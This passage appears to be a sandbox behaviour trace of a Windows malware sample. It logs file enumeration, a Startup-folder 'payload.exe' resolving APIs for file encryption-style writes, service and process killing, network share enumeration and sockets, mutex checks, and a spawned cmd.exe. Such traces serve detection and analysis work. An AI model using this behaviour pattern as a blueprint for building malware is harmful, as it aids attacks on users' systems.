lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0145.633] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0145.633] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.633] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.634] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.634] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.634] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.634] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.634] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.634] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.634] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.635] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.635] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.635] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.635] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.635] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.635] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.635] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.635] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.635] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.636] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.636] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.636] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.636] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.636] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.636] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.636] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.636] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.637] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.637] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.637] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.637] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.637] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.637] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.637] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.637] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.637] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.638] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.638] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.638] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.638] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 1 [0145.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4594f58 | out: hHeap=0x510000) returned 1 [0145.638] FindNextFileW (in: hFindFile=0x3e5c298, lpFindFileData=0x3a0df28 | out: lpFindFileData=0x3a0df28) returned 0 [0145.638] FindClose (in: hFindFile=0x3e5c298 | out: hFindFile=0x3e5c298) returned 1 [0145.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x448ffe0 | out: hHeap=0x510000) returned 1 [0145.638] FindNextFileW (in: hFindFile=0x3e5c798, lpFindFileData=0x3a0e1a4 | out: lpFindFileData=0x3a0e1a4) returned 1 [0145.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.638] FindNextFileW (in: hFindFile=0x3e5c758, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0145.638] FindClose (in: hFindFile=0x3e5c758 | out: hFindFile=0x3e5c758) returned 1 [0145.638] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0145.640] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0145.640] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.640] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 1 [0145.640] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0145.640] FindNextFileW (in: hFindFile=0x3e5c658, lpFindFileData=0x3a0e420 | out: lpFindFileData=0x3a0e420) returned 0 [0145.640] FindClose (in: hFindFile=0x3e5c658 | out: hFindFile=0x3e5c658) returned 1 [0145.640] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0145.640] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0145.753] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d0058 | out: hHeap=0x510000) returned 1 [0145.753] FindNextFileW (in: hFindFile=0x3e5c518, lpFindFileData=0x3a0e69c | out: lpFindFileData=0x3a0e69c) returned 1 [0145.753] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52c0050 | out: hHeap=0x510000) returned 1 [0145.753] FindNextFileW (in: hFindFile=0x3e5c398, lpFindFileData=0x3a0e918 | out: lpFindFileData=0x3a0e918) returned 1 [0145.753] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x44fef40 | out: hHeap=0x510000) returned 1 [0145.754] FindNextFileW (in: hFindFile=0x3e5c218, lpFindFileData=0x3a0eb94 | out: lpFindFileData=0x3a0eb94) returned 0 [0145.754] FindClose (in: hFindFile=0x3e5c218 | out: hFindFile=0x3e5c218) returned 1 [0145.755] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4414670 | out: hHeap=0x510000) returned 1 [0145.755] FindNextFileW (in: hFindFile=0x3e5c098, lpFindFileData=0x3a0ee10 | out: lpFindFileData=0x3a0ee10) returned 1 [0145.755] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4404668 | out: hHeap=0x510000) returned 1 [0145.755] FindNextFileW (in: hFindFile=0x3e5c558, lpFindFileData=0x3a0f08c | out: lpFindFileData=0x3a0f08c) returned 0 [0145.755] FindClose (in: hFindFile=0x3e5c558 | out: hFindFile=0x3e5c558) returned 1 [0145.755] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43f0730 | out: hHeap=0x510000) returned 1 [0145.755] FindNextFileW (in: hFindFile=0x3e5bad8, lpFindFileData=0x3a0f308 | out: lpFindFileData=0x3a0f308) returned 1 [0145.755] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43e0728 | out: hHeap=0x510000) returned 1 [0145.756] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0145.756] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4584f50 | out: hHeap=0x510000) returned 1 [0145.756] FindNextFileW (in: hFindFile=0x3e5b898, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0145.756] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x4425680 | out: hHeap=0x510000) returned 1 [0145.756] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0fa7c | out: lpFindFileData=0x3a0fa7c) returned 1 [0145.757] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0145.757] FindNextFileW (in: hFindFile=0x52a380, lpFindFileData=0x3a0fcf8 | out: lpFindFileData=0x3a0fcf8) returned 1 [0145.757] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x43d0720 | out: hHeap=0x510000) returned 1 Thread: id = 51 os_tid = 0xe40 Thread: id = 56 os_tid = 0xe64 Thread: id = 57 os_tid = 0xe68 Thread: id = 60 os_tid = 0xe78 Thread: id = 61 os_tid = 0xe7c Thread: id = 62 os_tid = 0xe80 Thread: id = 63 os_tid = 0xe84 Process: id = "6" image_name = "payload.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe" page_root = "0x2d20f000" os_pid = "0xde0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001217e" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 31 os_tid = 0xde4 [0124.562] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75130000 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="GetProcAddress") returned 0x751451b0 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="GetModuleHandleW") returned 0x751450d0 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="FindNextFileW") returned 0x7519ee40 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="FindClose") returned 0x7519ed70 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="MoveFileW") returned 0x7517e500 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="GetFileSizeEx") returned 0x7519ef40 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="GetModuleFileNameW") returned 0x75145090 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="GetFileAttributesW") returned 0x7519ef10 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="ExitProcess") returned 0x75143cb0 [0124.562] GetProcAddress (hModule=0x75130000, lpProcName="GetCommandLineW") returned 0x75144cc0 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="GetComputerNameW") returned 0x751732c0 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="GetComputerNameA") returned 0x75173780 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="CreateMutexW") returned 0x7519eb70 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="lstrlenW") returned 0x75146c70 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="lstrlenA") returned 0x75146c50 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcess") returned 0x7519ea10 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="WaitForSingleObject") returned 0x7519eca0 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalDrives") returned 0x75140d20 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount") returned 0x7519dd50 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="DeleteFileW") returned 0x7519ed40 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="WideCharToMultiByte") returned 0x75146b10 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7519ebb0 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="Sleep") returned 0x75146760 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="LeaveCriticalSection") returned 0x770db250 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="ReadFile") returned 0x7519f090 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="CreateFileW") returned 0x7519ed10 [0124.563] GetProcAddress (hModule=0x75130000, lpProcName="OpenMutexW") returned 0x7519ebf0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="EnterCriticalSection") returned 0x770db2d0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="WaitForMultipleObjects") returned 0x7519ec80 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="lstrcmpiW") returned 0x75146bf0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="lstrcmpiA") returned 0x75146bd0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="DeleteCriticalSection") returned 0x770bfb90 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="ReleaseMutex") returned 0x7519ec20 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="CloseHandle") returned 0x7519eab0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="GetVersion") returned 0x751456c0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="CreateThread") returned 0x751446b0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="ExpandEnvironmentStringsW") returned 0x75144a40 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="QueryPerformanceCounter") returned 0x75145da0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="QueryPerformanceFrequency") returned 0x75145dc0 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessId") returned 0x7519ea20 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="SetFileAttributesW") returned 0x7519f100 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="GetVolumeInformationW") returned 0x7519f020 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="WriteFile") returned 0x7519f180 [0124.564] GetProcAddress (hModule=0x75130000, lpProcName="SetFilePointerEx") returned 0x7519f130 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="SetEndOfFile") returned 0x7519f0e0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="FindFirstFileW") returned 0x7519edf0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="GetProcessHeap") returned 0x751451f0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="HeapReAlloc") returned 0x770cf630 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="HeapAlloc") returned 0x770d2dc0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="HeapFree") returned 0x751457f0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="CreatePipe") returned 0x75144590 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="SetHandleInformation") returned 0x7519eae0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="CreateProcessW") returned 0x75144610 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="CompareStringW") returned 0x75144430 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="CompareStringA") returned 0x75144410 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="OpenProcess") returned 0x75145cc0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="TerminateProcess") returned 0x751467e0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="GetSystemTime") returned 0x751454e0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="SystemTimeToFileTime") returned 0x751467a0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="GetLastError") returned 0x75145010 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="CreateToolhelp32Snapshot") returned 0x7517edc0 [0124.565] GetProcAddress (hModule=0x75130000, lpProcName="Process32NextW") returned 0x7517f8f0 [0124.566] GetProcAddress (hModule=0x75130000, lpProcName="Process32FirstW") returned 0x7517f750 [0124.566] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x767a0000 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="RegOpenKeyExW") returned 0x767be580 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="RegQueryValueExW") returned 0x767be5a0 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="RegSetValueExW") returned 0x767bf530 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="RegCloseKey") returned 0x767bed60 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="OpenProcessToken") returned 0x767befb0 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="GetTokenInformation") returned 0x767bee90 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="OpenSCManagerW") returned 0x767c0540 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="OpenServiceW") returned 0x767bfa20 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="CloseServiceHandle") returned 0x767bfc00 [0124.848] GetProcAddress (hModule=0x767a0000, lpProcName="ControlService") returned 0x767d26d0 [0124.849] GetProcAddress (hModule=0x767a0000, lpProcName="QueryServiceStatus") returned 0x767c2380 [0124.849] GetProcAddress (hModule=0x767a0000, lpProcName="EnumDependentServicesW") returned 0x767d2f70 [0124.849] GetProcAddress (hModule=0x767a0000, lpProcName="EnumServicesStatusExW") returned 0x767bfc80 [0124.849] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75ce0000 [0125.658] GetProcAddress (hModule=0x75ce0000, lpProcName="SystemParametersInfoW") returned 0x75d0f210 [0125.658] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x73b80000 [0125.682] GetProcAddress (hModule=0x73b80000, lpProcName="ShellExecuteExW") returned 0x73ce4730 [0125.682] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77090000 [0125.682] GetProcAddress (hModule=0x77090000, lpProcName="NtQuerySystemInformation") returned 0x77102070 [0125.682] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73a90000 [0125.690] GetProcAddress (hModule=0x73a90000, lpProcName="WNetCloseEnum") returned 0x73a92640 [0125.690] GetProcAddress (hModule=0x73a90000, lpProcName="WNetOpenEnumW") returned 0x73a92790 [0125.690] GetProcAddress (hModule=0x73a90000, lpProcName="WNetEnumResourceW") returned 0x73a92410 [0125.690] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75730000 [0125.692] GetProcAddress (hModule=0x75730000, lpProcName="WSAStartup") returned 0x75735b40 [0125.692] GetProcAddress (hModule=0x75730000, lpProcName="socket") returned 0x75744510 [0125.692] GetProcAddress (hModule=0x75730000, lpProcName="send") returned 0x75735030 [0125.692] GetProcAddress (hModule=0x75730000, lpProcName="recv") returned 0x75740c50 [0125.693] GetProcAddress (hModule=0x75730000, lpProcName="connect") returned 0x75735410 [0125.693] GetProcAddress (hModule=0x75730000, lpProcName="closesocket") returned 0x75740910 [0125.693] GetProcAddress (hModule=0x75730000, lpProcName="gethostbyname") returned 0x75766cb0 [0125.693] GetProcAddress (hModule=0x75730000, lpProcName="inet_addr") returned 0x75749160 [0125.693] GetProcAddress (hModule=0x75730000, lpProcName="ntohl") returned 0x757349d0 [0125.693] GetProcAddress (hModule=0x75730000, lpProcName="htonl") returned 0x757349d0 [0125.693] GetProcAddress (hModule=0x75730000, lpProcName="htons") returned 0x75748ff0 [0125.693] GetProcessHeap () returned 0x620000 [0125.693] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x20) returned 0x62b070 [0125.693] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=5127619904) returned 1 [0125.693] GetTickCount () returned 0xc832 [0125.693] GetCurrentProcessId () returned 0xde0 [0125.694] GetTickCount () returned 0xc832 [0125.694] GetTickCount () returned 0xc832 [0125.694] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x20) returned 0x62b098 [0125.694] GetVersion () returned 0x23f00206 [0125.694] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x7) returned 0x637010 [0125.695] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x637fb0 [0125.695] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x637fb0, Size=0x20) returned 0x62b0c0 [0125.695] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x62b0c0, Size=0x40) returned 0x637a60 [0125.695] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xfffe) returned 0x63d6b0 [0125.695] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_72VX64A") returned 0x1ec [0125.695] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x637010 | out: hHeap=0x620000) returned 1 [0125.695] lstrlenW (lpString="Global\\syncronize_") returned 18 [0125.695] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x637a60 | out: hHeap=0x620000) returned 1 [0125.695] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x7) returned 0x636f20 [0125.695] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0x10) returned 0x637f50 [0125.695] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x637f50, Size=0x20) returned 0x62b0c0 [0125.695] RtlReAllocateHeap (Heap=0x620000, Flags=0x0, Ptr=0x62b0c0, Size=0x40) returned 0x637670 [0125.695] RtlAllocateHeap (HeapHandle=0x620000, Flags=0x0, Size=0xfffe) returned 0x64d6b8 [0125.695] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_72VX64U") returned 0x1f0 [0125.695] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x636f20 | out: hHeap=0x620000) returned 1 [0125.695] lstrlenW (lpString="Global\\syncronize_") returned 18 [0125.695] HeapFree (in: hHeap=0x620000, dwFlags=0x0, lpMem=0x637670 | out: hHeap=0x620000) returned 1 [0125.696] GetVersion () returned 0x23f00206 [0125.696] GetCurrentProcess () returned 0xffffffff [0125.696] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0125.696] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0125.696] CloseHandle (hObject=0x1f4) returned 1 [0125.696] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0125.696] ExitProcess (uExitCode=0x0) Thread: id = 32 os_tid = 0xde8 Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7dc34000" os_pid = "0xdf0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdd4" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 